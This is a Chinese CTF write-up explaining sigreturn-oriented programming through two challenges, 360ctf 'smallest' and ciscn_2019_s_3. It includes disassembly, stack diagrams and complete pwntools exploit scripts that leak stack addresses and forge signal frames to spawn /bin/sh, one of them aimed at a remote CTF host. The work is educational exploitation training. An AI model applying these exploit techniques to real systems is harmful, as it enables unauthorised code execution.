SROP初体验
这篇文章主要是讲解对ctf-wiki上面的SROP的例子的理解,题目是360ctf的一个题目
360ctf samllest
IDA查看代码
代码很简单
.text:00000000004000B0 public start
.text:00000000004000B0 start proc near ; DATA XREF: LOAD:0000000000400018↑o
.text:00000000004000B0 xor rax, rax
.text:00000000004000B3 mov edx, 400h ; count
.text:00000000004000B8 mov rsi, rsp ; buf
.text:00000000004000BB mov rdi, rax ; fd
.text:00000000004000BE syscall ; LINUX - sys_read
.text:00000000004000C0 retn
.text:00000000004000C0 start endp
.text:00000000004000C0
exp
首先放一下wiki上的完整exp,然后下面再一步步分析
from pwn import *
from LibcSearcher import *
small = ELF('./smallest')
if args['REMOTE']:
sh = remote('127.0.0.1', 7777)
else:
sh = process('./smallest')
context.arch = 'amd64'
context.log_level = 'debug'
syscall_ret = 0x00000000004000BE
start_addr = 0x00000000004000B0
## set start addr three times
payload = p64(start_addr) * 3
sh.send(payload)
## modify the return addr to start_addr+3
## so that skip the xor rax,rax; then the rax=1
## get stack addr
sh.send('\xb3')
stack_addr = u64(sh.recv()[8:16])
log.success('leak stack addr :' + hex(stack_addr))
## make the rsp point to stack_addr
## the frame is read(0,stack_addr,0x400)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + 'a' * 8 + str(sigframe)
sh.send(payload)
## set rax=15 and call sigreturn
sigreturn = p64(syscall_ret) + 'b' * 7
sh.send(sigreturn)
## call execv("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120 # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
frame_payload = p64(start_addr) + 'b' * 8 + str(sigframe)
print len(frame_payload)
payload = frame_payload + (0x120 - len(frame_payload)) * '\x00' + '/bin/sh\x00'
sh.send(payload)
sh.send(sigreturn)
sh.interactive()
调试分析
首先read函数读取三个程序起始地址,
## set start addr three times
payload = p64(start_addr) * 3
sh.send(payload)
sh.send('\xb3')
stack_addr = u64(sh.recv()[8:16])
log.success('leak stack addr :' + hex(stack_addr))
程序返回时,栈空间是这样的,栈上前三个为我们程序起始地址
程序返回时,利用第一个程序起始地址读取一个字节即\xb3
,修改返回地址 (即第二个程序起始地址) 为源程序的第二条指令,其地址为0x04000B3
。
而且read函数的返回值会存储在eax里,为成功读取的字节数,这里由于调用read函数读取了一个字节,所以 rax=1。write系统调用号为1,所以执行到syscall
的时候将会执行 write(1,$esp,0x400)
,以此来泄露栈地址。
然后先利用第三个程序起始地址读入 payload,这里的payload包含了构造的Signal Frame,这个Signal Frame会执行read(0,stack_addr,0x400)
。
此时执行完syscall_ret后,会先返回到程序起始处(这里是payload是p64(start_addr)开头的,即栈上的返回地址为p64(start_addr)),允许我们再次读入payload。
## make the rsp point to stack_addr
## the frame is read(0,stack_addr,0x400)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + 'a' * 8 + str(sigframe)
sh.send(payload)
上面的代码最终又使我们可以向栈空间输入数据,这里输入的是sigreturn。
## set rax=15 and call sigreturn
sigreturn = p64(syscall_ret) + 'b' * 7
sh.send(sigreturn)
将sigreturn 读入后,栈空间是这样的,使程序执行syscall_ret
+-----------------+
| syscall_ret |
+-----------------+
| 'b'*7 |
+-----------------+
| 'a' * 8 |
+-----------------+
| sigreturn |
+ ..... +
| |
+-----------------+
执行完syscall_ret,就会从构造的Signal Frame->rip指向的程序执行,这里是从程序起始地址执行,而此时的Signal Frame->rax为read函数系统调用号为,相当于执行read(0,stack_addr,0x400)
,即再次向stack_addr输入数据。
利用上一步payload回到程序起始处(看上一步的栈空间结构),读入下面构造的payload,该payload包含又一个构造的能够执行execve(’/bin/sh’,0,0)的Signal Frame。
## call execv("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120 # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
frame_payload = p64(start_addr) + 'b' * 8 + str(sigframe)
payload = frame_payload + (0x120 - len(frame_payload)) * '\x00' + '/bin/sh\x00'
sh.send(payload)
此时的栈结构如下,也就是说执行到ret时,再次回到程序起始处
+-----------------+
| start_addr |
+-----------------+
| 'b'*8 |
+-----------------+
| sigreturn |
+-----------------+
| \x00 |
+ .... +
+ ----------------+
| /bin/sh\x00 |
+-----------------+
然后我们再次发送sigreturn,此时执行完sys call后,栈空间是这样的
+-----------------+
| syscall_ret |
+-----------------+
| 'b'*7 |
+-----------------+
| 'b' * 8 |
+-----------------+
| sigreturn |
+-----------------+
| \x00 |
+ .... +
+ ----------------+
| /bin/sh\x00 |
+-----------------+
然后执行完syscall_ret 后会根据第二次构造的Signal Frame执行命令execv("/bin/sh",0,0)。
sh.send(sigreturn)
sh.interactive()
ciscn_2019_s_3
安全保护
IDA查看程序
main函数就是调用vuln函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
return vuln();
}
vuln函数
.text:00000000004004ED
.text:00000000004004ED public vuln
.text:00000000004004ED vuln proc near ; CODE XREF: main+14↓p
.text:00000000004004ED
.text:00000000004004ED buf = byte ptr -10h
.text:00000000004004ED
.text:00000000004004ED ; __unwind {
.text:00000000004004ED push rbp
.text:00000000004004EE mov rbp, rsp
.text:00000000004004F1 xor rax, rax
.text:00000000004004F4 mov edx, 400h ; count
.text:00000000004004F9 lea rsi, [rsp+buf] ; buf
.text:00000000004004FE mov rdi, rax ; fd
.text:0000000000400501 syscall ; LINUX - sys_read
.text:0000000000400503 mov rax, 1
.text:000000000040050A mov edx, 30h ; count
.text:000000000040050F lea rsi, [rsp+buf] ; buf
.text:0000000000400514 mov rdi, rax ; fd
.text:0000000000400517 syscall ; LINUX - sys_write
.text:0000000000400519 retn
.text:0000000000400519 vuln endp ; sp-analysis failed
.text:0000000000400519
.text:0000000000400519 ; -----------------------------------------------------
还有一个gadgets函数
可以得到,sigreturn的调用号
.text:00000000004004DA mov rax, 0Fh
.text:00000000004004E1 retn
和execve的调用号
.text:00000000004004E2 mov rax, 3Bh
.text:00000000004004E9 retn
清晰明了,就是利用SROP来get shell
完整exp
#coding=utf-8
from pwn import *
context.log_level='info'
context.arch = 'amd64'
#sh=process("./ciscn_s_3")
sh=remote("node3.buuoj.cn",27169)
syscall_ret=0x0400517
sys_read=0x04004F1
sigreturn=p64(0x4004DA)+p64(syscall_ret)
#gdb.attach(sh,"b* 0x04004ED")
payload1='a'*16+p64(sys_read)
sh.send(payload1)
stack_addr=u64(sh.recv()[32:38].ljust(8,"\x00"))-0x100
log.success("stack_addr: "+hex(stack_addr))
## call execv("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x110 # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
frame_payload = 'a'*16+sigreturn+str(sigframe)
payload = frame_payload + (0x120 - len(frame_payload)) * '\x00' + '/bin/sh\x00'
sh.send(payload)
sh.interactive()
分析调试
首先是泄露栈地址,构造payload1,使其读入payload1后返回到sys_read处,即地址0x04004F1,而不是回到程序起始地址,避免对栈的操作
payload1='a'*16+p64(sys_read)
sh.send(payload1)
stack_addr=u64(sh.recv()[32:38].ljust(8,"\x00"))-0x100
log.success("stack_addr: "+hex(stack_addr))
其实也就是相当于调用write(1,$esp-0x10,0x30),输出0x30大小的栈内容
输出栈上的地址
执行到sys_read时,可以发现esp的值为0x7fff8e252848,与上面的输出0x7fff8e252948相差0x100,所以计算得到stack_addr=0x7fff8e252948-0x100=0x7fff8e252848
然后先构造SigreturnFrame,使其能够执行execv("/bin/sh",0,0)。
## call execv("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x110 # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
然后就是构造pyload,前面有提到0x4004DA处有mov rax,0fh指令,即将sigreturn系统调用号放入rax中,所以先利用上面exp返回到sys_read,将我们构造的payload读入,返回地址为p64(0x4004DA)+p64(syscall_ret),也就是先执行0x4004DA处的指令,再返回到syscall_ret处执行,执行完syscall_ret,就会触发sigreturn调用,进而执行execv("/bin/sh",0,0)。
sigreturn=p64(0x4004DA)+p64(syscall_ret)
frame_payload = 'a'*16+sigreturn+str(sigframe)
payload = frame_payload + (0x120 - len(frame_payload)) * '\x00' + '/bin/sh\x00'
sh.send(payload)
sh.interactive()